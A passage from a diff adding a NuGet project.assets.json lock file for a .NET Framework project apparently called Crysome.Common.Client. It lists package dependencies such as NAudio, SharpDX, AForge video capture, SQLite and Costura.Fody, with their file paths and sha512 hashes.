"compile": { + "lib/netstandard1.0/_._": {} + }, + "runtime": { + "lib/netstandard1.0/_._": {} + } + }, + "Microsoft.Win32.Primitives/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net46/Microsoft.Win32.Primitives.dll": {} + }, + "runtime": { + "lib/net46/Microsoft.Win32.Primitives.dll": {} + } + }, + "Microsoft.Win32.Registry/4.7.0": { + "type": "package", + "dependencies": { + "System.Security.AccessControl": "4.7.0", + "System.Security.Principal.Windows": "4.7.0" + }, + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net472/Microsoft.Win32.Registry.dll": { + "related": ".xml" + } + }, + "runtime": { + "runtimes/win/lib/net461/Microsoft.Win32.Registry.dll": { + "related": ".xml" + } + } + }, + "NAudio/2.2.1": { + "type": "package", + "dependencies": { + "NAudio.Asio": "2.2.1", + "NAudio.Core": "2.2.1", + "NAudio.Midi": "2.2.1", + "NAudio.Wasapi": "2.2.1", + "NAudio.WinForms": "2.2.1", + "NAudio.WinMM": "2.2.1" + }, + "compile": { + "lib/net472/NAudio.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net472/NAudio.dll": { + "related": ".xml" + } + } + }, + "NAudio.Asio/2.2.1": { + "type": "package", + "dependencies": { + "Microsoft.Win32.Registry": "4.7.0", + "NAudio.Core": "2.2.1" + }, + "compile": { + "lib/netstandard2.0/NAudio.Asio.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.Asio.dll": { + "related": ".xml" + } + } + }, + "NAudio.Core/2.2.1": { + "type": "package", + "compile": { + "lib/netstandard2.0/NAudio.Core.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.Core.dll": { + "related": ".xml" + } + } + }, + "NAudio.Midi/2.2.1": { + "type": "package", + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "compile": { + "lib/netstandard2.0/NAudio.Midi.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.Midi.dll": { + "related": ".xml" + } + } + }, + "NAudio.Wasapi/2.2.1": { + "type": "package", + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "compile": { + "lib/netstandard2.0/NAudio.Wasapi.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.Wasapi.dll": { + "related": ".xml" + } + } + }, + "NAudio.WinForms/2.2.1": { + "type": "package", + "dependencies": { + "NAudio.WinMM": "2.2.1" + }, + "compile": { + "lib/net472/NAudio.WinForms.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net472/NAudio.WinForms.dll": { + "related": ".xml" + } + } + }, + "NAudio.WinMM/2.2.1": { + "type": "package", + "dependencies": { + "Microsoft.Win32.Registry": "4.7.0", + "NAudio.Core": "2.2.1" + }, + "compile": { + "lib/netstandard2.0/NAudio.WinMM.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.WinMM.dll": { + "related": ".xml" + } + } + }, + "NETStandard.Library/1.6.1": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.Win32.Primitives": "4.3.0", + "System.AppContext": "4.3.0", + "System.Collections": "4.3.0", + "System.Collections.Concurrent": "4.3.0", + "System.Console": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Diagnostics.Tools": "4.3.0", + "System.Diagnostics.Tracing": "4.3.0", + "System.Globalization": "4.3.0", + "System.Globalization.Calendars": "4.3.0", + "System.IO": "4.3.0", + "System.IO.Compression": "4.3.0", + "System.IO.Compression.ZipFile": "4.3.0", + "System.IO.FileSystem": "4.3.0", + "System.IO.FileSystem.Primitives": "4.3.0", + "System.Linq": "4.3.0", + "System.Linq.Expressions": "4.3.0", + "System.Net.Http": "4.3.0", + "System.Net.Primitives": "4.3.0", + "System.Net.Sockets": "4.3.0", + "System.ObjectModel": "4.3.0", + "System.Reflection": "4.3.0", + "System.Reflection.Extensions": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Runtime.InteropServices.RuntimeInformation": "4.3.0", + "System.Runtime.Numerics": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Security.Cryptography.X509Certificates": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Text.Encoding.Extensions": "4.3.0", + "System.Text.RegularExpressions": "4.3.0", + "System.Threading": "4.3.0", + "System.Threading.Tasks": "4.3.0", + "System.Threading.Timer": "4.3.0", + "System.Xml.ReaderWriter": "4.3.0", + "System.Xml.XDocument": "4.3.0" + } + }, + "SharpDX/4.2.0": { + "type": "package", + "compile": { + "lib/net45/SharpDX.dll": { + "related": ".pdb" + } + }, + "runtime": { + "lib/net45/SharpDX.dll": { + "related": ".pdb" + } + } + }, + "SharpDX.Direct3D11/4.2.0": { + "type": "package", + "dependencies": { + "SharpDX": "4.2.0", + "SharpDX.DXGI": "4.2.0" + }, + "compile": { + "lib/net45/SharpDX.Direct3D11.dll": { + "related": ".pdb;.xml" + } + }, + "runtime": { + "lib/net45/SharpDX.Direct3D11.dll": { + "related": ".pdb;.xml" + } + } + }, + "SharpDX.DXGI/4.2.0": { + "type": "package", + "dependencies": { + "SharpDX": "4.2.0" + }, + "compile": { + "lib/net45/SharpDX.DXGI.dll": { + "related": ".pdb;.xml" + } + }, + "runtime": { + "lib/net45/SharpDX.DXGI.dll": { + "related": ".pdb;.xml" + } + } + }, + "Stub.System.Data.SQLite.Core.NetFramework/1.0.119": { + "type": "package", + "compile": { + "lib/net46/System.Data.SQLite.dll": { + "related": ".dll.altconfig;.xml" + } + }, + "runtime": { + "lib/net46/System.Data.SQLite.dll": { + "related": ".dll.altconfig;.xml" + } + }, + "build": { + "buildTransitive/net46/Stub.System.Data.SQLite.Core.NetFramework.targets": {} + } + }, + "System.AppContext/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net463/System.AppContext.dll": {} + }, + "runtime": { + "lib/net463/System.AppContext.dll": {} + } + }, + "System.Buffers/4.6.0": { + "type": "package", + "compile": { + "lib/net462/System.Buffers.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Buffers.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Collections/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "System.Core" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Collections.Concurrent/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Console/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net46/System.Console.dll": {} + }, + "runtime": { + "lib/net46/System.Console.dll": {} + } + }, + "System.Data.SQLite/1.0.119": { + "type": "package", + "dependencies": { + "System.Data.SQLite.Core": "[1.0.119]", + "System.Data.SQLite.EF6": "[1.0.119]", + "System.Data.SQLite.Linq": "[1.0.119]" + } + }, + "System.Data.SQLite.Core/1.0.119": { + "type": "package", + "dependencies": { + "Stub.System.Data.SQLite.Core.NetFramework": "[1.0.119]" + } + }, + "System.Data.SQLite.EF6/1.0.119": { + "type": "package", + "dependencies": { + "EntityFramework": "6.4.4" + }, + "compile": { + "lib/net46/System.Data.SQLite.EF6.dll": {} + }, + "runtime": { + "lib/net46/System.Data.SQLite.EF6.dll": {} + } + }, + "System.Data.SQLite.Linq/1.0.119": { + "type": "package", + "compile": { + "lib/net46/System.Data.SQLite.Linq.dll": {} + }, + "runtime": { + "lib/net46/System.Data.SQLite.Linq.dll": {} + } + }, + "System.Diagnostics.Debug/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Diagnostics.DiagnosticSource/4.3.0": { + "type": "package", + "compile": { + "lib/net46/_._": { + "related": ".xml" + } + }, + "runtime": { + "lib/net46/System.Diagnostics.DiagnosticSource.dll": { + "related": ".xml" + } + } + }, + "System.Diagnostics.Tools/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Diagnostics.Tracing/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net462/System.Diagnostics.Tracing.dll": {} + }, + "runtime": { + "lib/net462/System.Diagnostics.Tracing.dll": {} + } + }, + "System.Globalization/4.3.0": { + "type": "package", + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Globalization.Calendars/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net46/System.Globalization.Calendars.dll": {} + }, + "runtime": { + "lib/net46/System.Globalization.Calendars.dll": {} + } + }, + "System.IO/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net462/System.IO.dll": {} + }, + "runtime": { + "lib/net462/System.IO.dll": {} + } + }, + "System.IO.Compression/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net46/System.IO.Compression.dll": {} + }, + "runtime": { + "runtimes/win/lib/net46/System.IO.Compression.dll": {} + } + }, + "System.IO.Compression.ZipFile/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.IO.Compression.FileSystem", + "mscorlib" + ], + "compile": { + "ref/net46/System.IO.Compression.ZipFile.dll": {} + }, + "runtime": { + "lib/net46/System.IO.Compression.ZipFile.dll": {} + } + }, + "System.IO.FileSystem/4.3.0": { + "type": "package", + "dependencies": { + "System.IO.FileSystem.Primitives": "4.3.0" + }, + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net46/System.IO.FileSystem.dll": {} + }, + "runtime": { + "lib/net46/System.IO.FileSystem.dll": {} + } + }, + "System.IO.FileSystem.Primitives/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net46/System.IO.FileSystem.Primitives.dll": {} + }, + "runtime": { + "lib/net46/System.IO.FileSystem.Primitives.dll": {} + } + }, + "System.Linq/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net463/System.Linq.dll": {} + }, + "runtime": { + "lib/net463/System.Linq.dll": {} + } + }, + "System.Linq.Expressions/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net463/System.Linq.Expressions.dll": {} + }, + "runtime": { + "lib/net463/System.Linq.Expressions.dll": {} + } + }, + "System.Memory/4.6.0": { + "type": "package", + "dependencies": { + "System.Buffers": "4.6.0", + "System.Numerics.Vectors": "4.6.0", + "System.Runtime.CompilerServices.Unsafe": "6.1.0" + }, + "compile": { + "lib/net462/System.Memory.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Memory.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Net.Http/4.3.0": { + "type": "package", + "dependencies": { + "System.Diagnostics.DiagnosticSource": "4.3.0", + "System.Security.Cryptography.X509Certificates": "4.3.0" + }, + "frameworkAssemblies": [ + "System", + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net46/System.Net.Http.dll": { + "related": ".xml" + } + }, + "runtime": { + "runtimes/win/lib/net46/System.Net.Http.dll": {} + } + }, + "System.Net.Primitives/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Net.Sockets/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net46/System.Net.Sockets.dll": {} + }, + "runtime": { + "lib/net46/System.Net.Sockets.dll": {} + } + }, + "System.Numerics.Vectors/4.6.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Numerics" + ], + "compile": { + "lib/net462/System.Numerics.Vectors.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Numerics.Vectors.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.ObjectModel/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Reflection/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net462/System.Reflection.dll": {} + }, + "runtime": { + "lib/net462/System.Reflection.dll": {} + } + }, + "System.Reflection.Extensions/4.3.0": { + "type": "package", + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Reflection.Primitives/4.3.0": { + "type": "package", + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Resources.ResourceManager/4.3.0": { + "type": "package", + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Runtime/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "System.ComponentModel.Composition", + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net462/System.Runtime.dll": {} + }, + "runtime": { + "lib/net462/System.Runtime.dll": {} + } + }, + "System.Runtime.CompilerServices.Unsafe/6.1.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "lib/net462/System.Runtime.CompilerServices.Unsafe.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Runtime.CompilerServices.Unsafe.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Runtime.Extensions/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net462/System.Runtime.Extensions.dll": {} + }, + "runtime": { + "lib/net462/System.Runtime.Extensions.dll": {} + } + }, + "System.Runtime.Handles/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Core" + ], + "compile": { + "ref/net46/_._": {} + }, + "runtime": { + "lib/net46/_._": {} + } + }, + "System.Runtime.InteropServices/4.3.0": { + "type": "package", + "dependencies": { + "System.Runtime": "4.3.0" + }, + "frameworkAssemblies": [ + "System", + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net463/System.Runtime.InteropServices.dll": {} + }, + "runtime": { + "lib/net463/System.Runtime.InteropServices.dll": {} + } + }, + "System.Runtime.InteropServices.RuntimeInformation/4.3.0": { + "type": "package", + "compile": { + "ref/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll": {} + }, + "runtime": { + "runtimes/win/lib/net45/System.Runtime.InteropServices.RuntimeInformation.dll": {} + } + }, + "System.Runtime.Numerics/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Numerics" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Security.AccessControl/4.7.0": { + "type": "package", + "dependencies": { + "System.Security.Principal.Windows": "4.7.0" + }, + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net461/System.Security.AccessControl.dll": { + "related": ".xml" + } + }, + "runtime": { + "runtimes/win/lib/net461/System.Security.AccessControl.dll": { + "related": ".xml" + } + } + }, + "System.Security.Cryptography.Algorithms/4.3.0": { + "type": "package", + "dependencies": { + "System.IO": "4.3.0", + "System.Runtime": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0" + }, + "frameworkAssemblies": [ + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net463/System.Security.Cryptography.Algorithms.dll": {} + }, + "runtime": { + "runtimes/win/lib/net463/System.Security.Cryptography.Algorithms.dll": {} + } + }, + "System.Security.Cryptography.Encoding/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net46/System.Security.Cryptography.Encoding.dll": {} + }, + "runtime": { + "runtimes/win/lib/net46/System.Security.Cryptography.Encoding.dll": {} + } + }, + "System.Security.Cryptography.Primitives/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net46/System.Security.Cryptography.Primitives.dll": {} + }, + "runtime": { + "lib/net46/System.Security.Cryptography.Primitives.dll": {} + } + }, + "System.Security.Cryptography.X509Certificates/4.3.0": { + "type": "package", + "dependencies": { + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0" + }, + "frameworkAssemblies": [ + "System", + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net461/System.Security.Cryptography.X509Certificates.dll": {} + }, + "runtime": { + "runtimes/win/lib/net461/System.Security.Cryptography.X509Certificates.dll": {} + } + }, + "System.Security.Principal.Windows/4.7.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net461/System.Security.Principal.Windows.dll": { + "related": ".xml" + } + }, + "runtime": { + "runtimes/win/lib/net461/System.Security.Principal.Windows.dll": { + "related": ".xml" + } + } + }, + "System.Text.Encoding/4.3.0": { + "type": "package", + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Text.Encoding.Extensions/4.3.0": { + "type": "package", + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Text.Encodings.Web/8.0.0": { + "type": "package", + "dependencies": { + "System.Buffers": "4.5.1", + "System.Memory": "4.5.5", + "System.Runtime.CompilerServices.Unsafe": "6.0.0" + }, + "compile": { + "lib/net462/System.Text.Encodings.Web.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Text.Encodings.Web.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Text.Json/8.0.5": { + "type": "package", + "dependencies": { + "Microsoft.Bcl.AsyncInterfaces": "8.0.0", + "System.Buffers": "4.5.1", + "System.Memory": "4.5.5", + "System.Runtime.CompilerServices.Unsafe": "6.0.0", + "System.Text.Encodings.Web": "8.0.0", + "System.Threading.Tasks.Extensions": "4.5.4", + "System.ValueTuple": "4.5.0" + }, + "compile": { + "lib/net462/System.Text.Json.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Text.Json.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/System.Text.Json.targets": {} + } + }, + "System.Text.RegularExpressions/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net463/System.Text.RegularExpressions.dll": {} + }, + "runtime": { + "lib/net463/System.Text.RegularExpressions.dll": {} + } + }, + "System.Threading/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "System.Core" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Threading.Tasks/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Core" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Threading.Tasks.Extensions/4.5.4": { + "type": "package", + "dependencies": { + "System.Runtime.CompilerServices.Unsafe": "4.5.3" + }, + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "lib/net461/System.Threading.Tasks.Extensions.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net461/System.Threading.Tasks.Extensions.dll": { + "related": ".xml" + } + } + }, + "System.Threading.Timer/4.3.0": { + "type": "package", + "compile": { + "ref/net451/_._": {} + }, + "runtime": { + "lib/net451/_._": {} + } + }, + "System.ValueTuple/4.5.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net47/System.ValueTuple.dll": {} + }, + "runtime": { + "lib/net47/System.ValueTuple.dll": { + "related": ".xml" + } + } + }, + "System.Xml.ReaderWriter/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Xml", + "mscorlib" + ], + "compile": { + "ref/net46/System.Xml.ReaderWriter.dll": {} + }, + "runtime": { + "lib/net46/System.Xml.ReaderWriter.dll": {} + } + }, + "System.Xml.XDocument/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Xml.Linq" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "Crysome.Common.Client/1.0.0": { + "type": "project", + "framework": ".NETFramework,Version=v4.7.2", + "dependencies": { + "System.Buffers": "4.6.0", + "System.Memory": "4.6.0", + "System.Text.Json": "8.0.5" + }, + "compile": { + "bin/placeholder/Crysome.Common.Client.dll": {} + }, + "runtime": { + "bin/placeholder/Crysome.Common.Client.dll": {} + } + } + } + }, + "libraries": { + "AForge/2.2.5": { + "sha512": "clkumhM9DggqIzEXAHgVLeWO4arG5YfoPr7J4jfjJx35AoeEIJSSm49J25bwp/9mXQYLwi7y1Wunc8qgYJsGxg==", + "type": "package", + "path": "aforge/2.2.5", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "aforge.2.2.5.nupkg.sha512", + "aforge.nuspec", + "lib/AForge.dll", + "lib/AForge.xml" + ] + }, + "AForge.Video/2.2.5": { + "sha512": "XqzcOXtBUagEPRqg/00oayxlCPmxP4284SdM62mVotsNoD03fs19BrzdMBfhUOOYPyd0B/IXH7tEWnSDmc2gxA==", + "type": "package", + "path": "aforge.video/2.2.5", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "aforge.video.2.2.5.nupkg.sha512", + "aforge.video.nuspec", + "lib/AForge.Video.dll", + "lib/AForge.Video.xml" + ] + }, + "AForge.Video.DirectShow/2.2.5": { + "sha512": "pEch6felU/RGAbl0A7yjaQjsGxwiRFU9R+qBqR92wQo++XhzPLeQaZHnAPIBYaG7MfoqtjgCDkK4z3Tra4VQ3w==", + "type": "package", + "path": "aforge.video.directshow/2.2.5", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "aforge.video.directshow.2.2.5.nupkg.sha512", + "aforge.video.directshow.nuspec", + "lib/AForge.Video.DirectShow.dll", + "lib/AForge.Video.DirectShow.xml" + ] + }, + "Costura.Fody/5.7.0": { + "sha512": "MmL28WOOnJEBWORXj6bfSxfWaZW8gWSXEJTdrjB9AQi4COX6RXr2xdGL9HsxpWwn6f5Io0NmNuwFJe94w1YmQA==", + "type": "package", + "path": "costura.fody/5.7.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "build/Costura.Fody.props", + "build/Costura.Fody.targets", + "costura.fody.5.7.0.nupkg.sha512", + "costura.fody.nuspec", + "icon.png", + "lib/netstandard1.0/Costura.dll", + "lib/netstandard1.0/Costura.pdb", + "lib/netstandard1.0/Costura.xml", + "netclassicweaver/Costura.Fody.dll", + "netclassicweaver/Costura.Fody.xcf", + "netstandardweaver/Costura.Fody.dll", + "netstandardweaver/Costura.Fody.xcf" + ] + }, + "EntityFramework/6.4.4": { + "sha512": "yj1+/4tci7Panu3jKDHYizxwVm0Jvm7b7m057b5h4u8NUHGCR8WIWirBTw+8EptRffwftIWPBeIRGNKD1ewEMQ==", + "type": "package", + "path": "entityframework/6.4.4", + "hasTools": true, + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "build/EntityFramework.DefaultItems.props", + "build/EntityFramework.props", + "build/EntityFramework.targets", + "build/Microsoft.Data.Entity.Build.Tasks.dll", + "build/netcoreapp3.0/EntityFramework.props", + "build/netcoreapp3.0/EntityFramework.targets", + "buildTransitive/EntityFramework.props", + "buildTransitive/EntityFramework.targets", + "buildTransitive/netcoreapp3.0/EntityFramework.props", + "buildTransitive/netcoreapp3.0/EntityFramework.targets", + "content/net40/App.config.install.xdt", + "content/net40/App.config.transform", + "content/net40/Web.config.install.xdt", + "content/net40/Web.config.transform", + "entityframework.6.4.4.nupkg.sha512", + "entityframework.nuspec", + "lib/net40/EntityFramework.SqlServer.dll", + "lib/net40/EntityFramework.SqlServer.xml", + "lib/net40/EntityFramework.dll", + "lib/net40/EntityFramework.xml", + "lib/net45/EntityFramework.SqlServer.dll", + "lib/net45/EntityFramework.SqlServer.xml", + "lib/net45/EntityFramework.dll", + "lib/net45/EntityFramework.xml", + "lib/netstandard2.1/EntityFramework.SqlServer.dll", + "lib/netstandard2.1/EntityFramework.SqlServer.xml", + "lib/netstandard2.1/EntityFramework.dll", + "lib/netstandard2.1/EntityFramework.xml", + "tools/EntityFramework6.PS2.psd1", + "tools/EntityFramework6.PS2.psm1", + "tools/EntityFramework6.psd1", + "tools/EntityFramework6.psm1", + "tools/about_EntityFramework6.help.txt", + "tools/init.ps1", + "tools/install.ps1", + "tools/net40/any/ef6.exe", + "tools/net40/any/ef6.pdb", + "tools/net40/win-x86/ef6.exe", + "tools/net40/win-x86/ef6.pdb", + "tools/net45/any/ef6.exe", + "tools/net45/any/ef6.pdb", + "tools/net45/win-x86/ef6.exe", + "tools/net45/win-x86/ef6.pdb", + "tools/netcoreapp3.0/any/ef6.dll", + "tools/netcoreapp3.0/any/ef6.pdb", + "tools/netcoreapp3.0/any/ef6.runtimeconfig.json" + ] + }, + "Fody/6.8.0": { + "sha512": "hfZ/f8Mezt8aTkgv9nsvFdYoQ809/AqwsJlOGOPYIfBcG2aAIG3v3ex9d8ZqQuFYyMoucjRg4eKy3VleeGodKQ==", + "type": "package", + "path": "fody/6.8.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "License.txt", + "build/Fody.targets", + "fody.6.8.0.nupkg.sha512", + "fody.nuspec", + "netclassictask/Fody.dll", + "netclassictask/FodyCommon.dll", + "netclassictask/FodyHelpers.dll", + "netclassictask/FodyIsolated.dll", + "netclassictask/Mono.Cecil.Pdb.dll", + "netclassictask/Mono.Cecil.Pdb.pdb", + "netclassictask/Mono.Cecil.Rocks.dll", + "netclassictask/Mono.Cecil.Rocks.pdb", + "netclassictask/Mono.Cecil.dll", + "netclassictask/Mono.Cecil.pdb", + "netstandardtask/Fody.dll", + "netstandardtask/FodyCommon.dll", + "netstandardtask/FodyHelpers.dll", + "netstandardtask/FodyIsolated.dll", + "netstandardtask/Mono.Cecil.Pdb.dll", + "netstandardtask/Mono.Cecil.Pdb.pdb", + "netstandardtask/Mono.Cecil.Rocks.dll", + "netstandardtask/Mono.Cecil.Rocks.pdb", + "netstandardtask/Mono.Cecil.dll", + "netstandardtask/Mono.Cecil.pdb" + ] + }, + "libjpeg-turbo-native-win/2.0.15": { + "sha512": "2HSmZ/PFXKzLZT9R1A6NfKhX0qBT29+WLVd8QcKeFNATZQ27v5g/gLTWvP2cUuPRWG82+xp9CfpkUgH0eVrgbg==", + "type": "package", + "path": "libjpeg-turbo-native-win/2.0.15", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "build/libjpeg-turbo-native-win.targets", + "build/win-x64/turbojpeg.dll", + "build/win-x86/turbojpeg.dll", + "lib/netstandard2.0/libjpeg-turbo-native-win.dll", + "libjpeg-turbo-native-win.2.0.15.nupkg.sha512", + "libjpeg-turbo-native-win.nuspec" + ] + }, + "libjpeg-turbo-net/2.0.15": { + "sha512": "L2axkwr1pupRWFo2XPTqqHY33jIT5V6PIFTXsHzKFo1zlanL8bIgNWrw9a/XEo1P02ky7au/f73rdJbvL0rlKw==", + "type": "package", + "path": "libjpeg-turbo-net/2.0.15", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "lib/netstandard2.0/libjpeg-turbo-net.dll", + "lib/netstandard2.0/libjpeg-turbo-net.xml", + "libjpeg-turbo-net.2.0.15.nupkg.sha512", + "libjpeg-turbo-net.nuspec" + ] + }, + "Microsoft.Bcl.AsyncInterfaces/8.0.0": { + "sha512": "3WA9q9yVqJp222P3x1wYIGDAkpjAku0TMUaaQV22g6L67AI0LdOIrVS7Ht2vJfLHGSPVuqN94vIr15qn+HEkHw==", + "type": "package", + "path": "microsoft.bcl.asyncinterfaces/8.0.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "LICENSE.TXT", + "PACKAGE.md", + "THIRD-PARTY-NOTICES.TXT", + "buildTransitive/net461/Microsoft.Bcl.AsyncInterfaces.targets", + "buildTransitive/net462/_._", + "lib/net462/Microsoft.Bcl.AsyncInterfaces.dll", + "lib/net462/Microsoft.Bcl.AsyncInterfaces.xml", + "lib/netstandard2.0/Microsoft.Bcl.AsyncInterfaces.dll", + "lib/netstandard2.0/Microsoft.Bcl.AsyncInterfaces.xml", + "lib/netstandard2.1/Microsoft.Bcl.AsyncInterfaces.dll", + "lib/netstandard2.1/Microsoft.Bcl.AsyncInterfaces.xml", + "microsoft.bcl.asyncinterfaces.8.0.0.nupkg.sha512", + "microsoft.bcl.asyncinterfaces.nuspec", + "useSharedDesignerContext.txt" + ] + }, + "Microsoft.NETCore.Platforms/1.1.0": { + "sha512": "kz0PEW2lhqygehI/d6XsPCQzD7ff7gUJaVGPVETX611eadGsA3A877GdSlU0LRVMCTH/+P3o2iDTak+S08V2+A==", + "type": "package", + "path": "microsoft.netcore.platforms/1.1.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/netstandard1.0/_._", + "microsoft.netcore.platforms.1.1.0.nupkg.sha512", + 